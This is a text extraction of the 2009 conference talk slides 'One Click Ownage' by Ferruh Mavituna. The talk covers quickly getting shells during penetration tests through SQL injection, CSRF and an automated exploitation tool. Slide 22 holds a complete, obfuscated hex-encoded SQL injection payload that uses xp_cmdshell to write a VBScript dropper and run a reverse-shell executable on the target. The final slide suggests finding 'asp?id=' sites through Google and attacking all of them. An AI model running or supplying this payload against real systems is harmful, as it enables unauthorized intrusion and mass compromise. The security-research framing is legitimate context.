The document discusses techniques for quickly obtaining remote access to a target system during a penetration test by automating common exploits and payloads. It provides examples of using SQL injection to execute a one-line command that generates a VBS script dropping a reverse shell executable file, allowing the attacker to retrieve an interactive command shell from the target with minimal effort. The techniques aim to make penetration testing more engaging by achieving access rapidly through automation.
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
One Click Ownage
1. Adventures of a lazy pen tester... One Click Ownage Ferruh Mavituna, IT UNDERGROUND – Prague 2009
2. The part that I’m trying to explain who the hell am I to audience, so they’d listen instead of falling asleep... Part I – Prologue
3. >whoami A security researcher and penetration tester who focused on application security, automated detection and exploitation. Currently working in London / UK for Portcullis Computer Security Limited.
5. Let’s whine about how penetration testing can be so boring and repetitive. Part II – Whining
6. Booooring... Penetration Testing can be quite repetitive and hell of a boring task. To make it more fun: Automate as much as possible, Own the system as quick as you can.
7. Two ways to get over it Quit your job, dominate the world via SQL Injection for fun and profit. Get a shell from the target system(s) within the first 30 minutes of the test. Then examine source code, escalate your privileges etc. Either way I’m going to show you how...
9. How to get a shell 101 RFI – Remote File Inclusions LFI - Local File Inclusions SQL Injection xp_cmdshell, MySQL UDF etc. Writing a webshell from an SQL Injection Command Injection (passthrough etc.) Code Injection (eval, PHP /e regexes etc.) File Upload WebDAV SSI
10. What would you do? SQL Injection SQL Server Privileged / SA Connection
11. What would you do? TFTP/FTP/UNC Share Tricks Relies on TFTP or FTP There shouldn’t be any outbound filtering for FTP, TFTP and UNC Requires a TFTP/FTP/UNC listener in the attacker’s system If outbound filtering is in place, split your binary into so many chunks then feed it to debug.exe Slow and requires many requests You need an automated tool to do this (such as sqlninja)
12. What would you do? SQL Injection Open Source Application Vulnerable to SQL Injection in “admin section” which is protected by NTML Authentication SQL Server Privileged / SA Connection Vulnerable to CSRF
13. What would you do? Well, you can drop some tables or maybe write a file, or can execute one command? Can you get a shell? Maybe...
17. Step by Step Generate a hex representation of the shell.exe in the local system, Write a VBScript that can process this hex string and generate a valid binary file, Put all this together into one line, Carry out the SQL injection with this one line.
19. Little Tricks Usage VBPacker, UPX and meterpreter Further optimisation by compressing null bytes in the hex string, It’s possible to use any executable as the initial payload, therefore you can upload a RAT or a tool to support DNS tunnelling to bypass outbound filtering. Meterpreter gives us the flexibility to whatever we want after the initial exploitation.
20. Remember the CSRF Do you remember that SQL Injection in the admin section, well now we can get a reverse shell out of it by crafting a CSRF attack which includes our magic string.
22. Injection Without Quotes DECLARE @X VARCHAR(8000);SET@X=CAST(0x65786563206d61737465722e2e78705f636d647368656c6c20276563686f20643d2234443541393030303033783033303478303346464646783032423878303734307832333830783033304531464241304530304234303943443231423830313443434432313534363836393733323037303732364636373732363136443230363336313645364536463734323036323635323037323735364532303639364532303434344635333230364436463634363532453044304430413234783037353034357830323443303130333030383731393444433078303845303030304630333042303130323338303031307830333130783033353078303234303632783033363078303337307830343430783032313078303330327830323034783033303178303330347830383830783033313078303630327830353230783032313078303431307830323130783036313078304337307830324143783733353535303538333078303535307830333130783037303278304538307830324530353535303538333178303531307830333630783033303478303330327830453430783032453035353530353833327830353130783033373078303330327830333036783045343078303243303333324533303333303035353530353832313044303930323039313942363943384143464445413637344136343178303231443032783033323678303232367830323444423746464442464633314330423930303230343030303638333031303034363446463330363438393230353036413430363831327830324441324645344636353135314539783032334339304646323533433430323931364232303544423037783032304634303838324134424536303030373030464646464545303146434538353630423533353535363537384236433234313838423435334338423534303537383031464646464646453545413842344135413230303145424533333234393842333438423031454533314646464333314330414333384530373430374331434644423937454446463044303143374542463233423743323431343735453132333234363638423043344230383143464644464445324538423034323945384542303232383546354535443542433230383030354536413330353936344642374637424642384231393842354230433032314338423142303430383533363838453445304545434646443638394337303946334446424537433534434141463931383145433030303138413530353735363533383945354538314646464646464635443930304542363139313845374134313937304539454346394141363044393039463541444342454446433342353735333332354633334646464646464646333230303542384434423138353146464437383944463839433338443735313436413035353935313533464633343846464635353034353938393034384545323733444442364644463232423237353446463337304432383833353030303430303130433646464646463644323436443638433041383041363436383032303031413041383945313641313035313537313432303641343042354236424446423545353643314536303630333038353636413030313030433530303641384232453041453835314131384646443342383131343142363241314638334141303030394332333631374339373434303438353834303046383443453534423630333430363135353136413041383043374644393043313434343343333030313435373836393734353045324444424646433732364636333635373337333536363937323734373536313643304637343635363337343046463932464346313035303435344330313033303038373139344443304530303037383833333446463046303330423031303233383030303232323130303345444241423732344632304231463034303630313030444637423336394230373530313737354639303630303230353833304439363033373130334631303344383541393438354538343030324530323835374443333945373836303930414330323233364644394642424242393630324537323634363137343631304330334543394239443344363443323430324536393237383431303442323730423239334232343237363334303241783033373030373030323478303246467830453630424531353630343030303844424545424146464646463537454230423930384130363436383830373437303144423735303738423145383345454643313144423732454442383031783033303144423735303738423145383345454643313144423131433030314442373345463735303938423145383345454643313144423733453433314339383345383033373230444331453030383841303634363833463046463734373438394335303144423735303738423145383345454643313144423131433930314442373530373842314538334545464331314442313143393735323034313031444237353037384231453833454546433131444231314339303144423733454637353039384231453833454546433131444237334534383343313032383146443030463346464646383344313031384431343246383346444643373630463841303234323838303734373439373546374539363346464646464639303842303238334332303438393037383343373034383345393034373746313031434645393443464646464646354538394637423930317830333841303734373243453833433031373746373830334630303735463238423037384135463034363643314538303843314330313038364334323946383830454245383031463038393037383343373035383844384532443938444245303034307830323842303730394330373433433842354630343844383433303030363078303230314633353038334337303846463936323836307830323935384130373437303843303734444338394639353734384632414535354646393632433630783032303943303734303738393033383343333034454245314646393633433630783032384241453330363078303238444245303046304646464642423030313078303235303534364130343533353746464435384438373946303178303238303230374638303630323837463538353035343530353335374646443535383631384434343234383036413030333943343735464138334543383045393338414346464646783434343437307830323238373078313635303730783032354537307830323645373078303237453730783032384337307830323941373078303634423435353234453435344333333332324534343443344378303234433646363136343443363936323732363137323739343178303234373635373435303732364636333431363436343732363537333733783032353636393732373437353631364335303732364637343635363337347830323536363937323734373536313643343136433643364636337830323536363937323734373536313643343637323635363578303334353738363937343530373236463633363537333733784646783541223a57204372656174654f626a6563745e2822536372697074696e672e46696c6553797374656d4f626a656374225e292e4765745370656369616c466f6c6465725e28325e29205e2620225c77722e657865222c20525e28645e293a46756e6374696f6e20525e28745e293a44696d204172725e285e293a466f7220693d3020546f204c656e5e28745e292d31205374657020323a526564696d2050726573657276652041725e28535e293a46423d4d69645e28742c692b312c315e293a53423d4d69645e28742c692b322c315e293a48583d4642205e262053423a49662046423d227822205468656e3a4e423d4d69645e28742c692b332c315e293a4c3d485e285342205e26204e425e293a466f72206a3d3020546f204c3a526564696d2050726573657276652041725e28532b5e286a2a325e292b315e293a41725e28532b6a5e293d303a41725e28532b6a2b315e293d303a4e6578743a693d692b313a533d532b4c3a456c73653a4966204c656e5e2848585e295e3e30205468656e3a41725e28535e293d485e2848585e293a456e642049663a533d532b313a456e642049663a4e6578743a526564696d2050726573657276652041725e28532d325e293a523d41723a456e642046756e6374696f6e3a46756e6374696f6e20485e2848585e293a483d434c6e675e2822264822205e262048585e293a456e642046756e6374696f6e3a53756220575e28464e2c204275665e293a44696d20614275663a53697a65203d2055426f756e645e284275665e293a526544696d20614275665e2853697a655c325e293a466f722049203d203020546f2053697a65202d2031205374657020323a614275665e28495c325e293d436872575e284275665e28492b315e292a3235362b4275665e28495e295e293a4e6578743a496620493d53697a65205468656e3a614275665e28495c325e293d436872575e284275665e28495e295e293a456e642049663a614275663d4a6f696e5e28614275662c22225e293a5365742062533d4372656174654f626a6563745e282241444f44422e53747265616d225e293a62532e547970653d313a62532e4f70656e3a57697468204372656174654f626a6563745e282241444f44422e53747265616d225e293a2e547970653d323a2e4f70656e3a2e57726974655465787420614275663a2e506f736974696f6e3d323a2e436f7079546f2062533a2e436c6f73653a456e6420576974683a62532e53617665546f46696c6520464e2c323a62532e436c6f73653a5365742062533d4e6f7468696e673a456e64205375623e702e76627320262620702e766273202626202554454d50255c77722e65786527 AS VARCHAR(8000));EXEC(@X);
23. Did I tell you that I’m really lazy ? Part V – Automation
25. What’s Web Raider It’s a plugin based automated web application exploitation tool which focuses to get a shell from multiple targets or injection points. Internally, it uses meterpreter listener Currently got 3 plugins: Simple HTML Parser (to identify injection points, parses HTML and extracts links and HTML Forms to attack) SQL Injection File Upload Writing a new plugin is quite easy
31. Don’t try this at home! (definitely don’t try from home!) Search google for “asp?id=“ Attack every single one of them with one request Hmm, that’s it...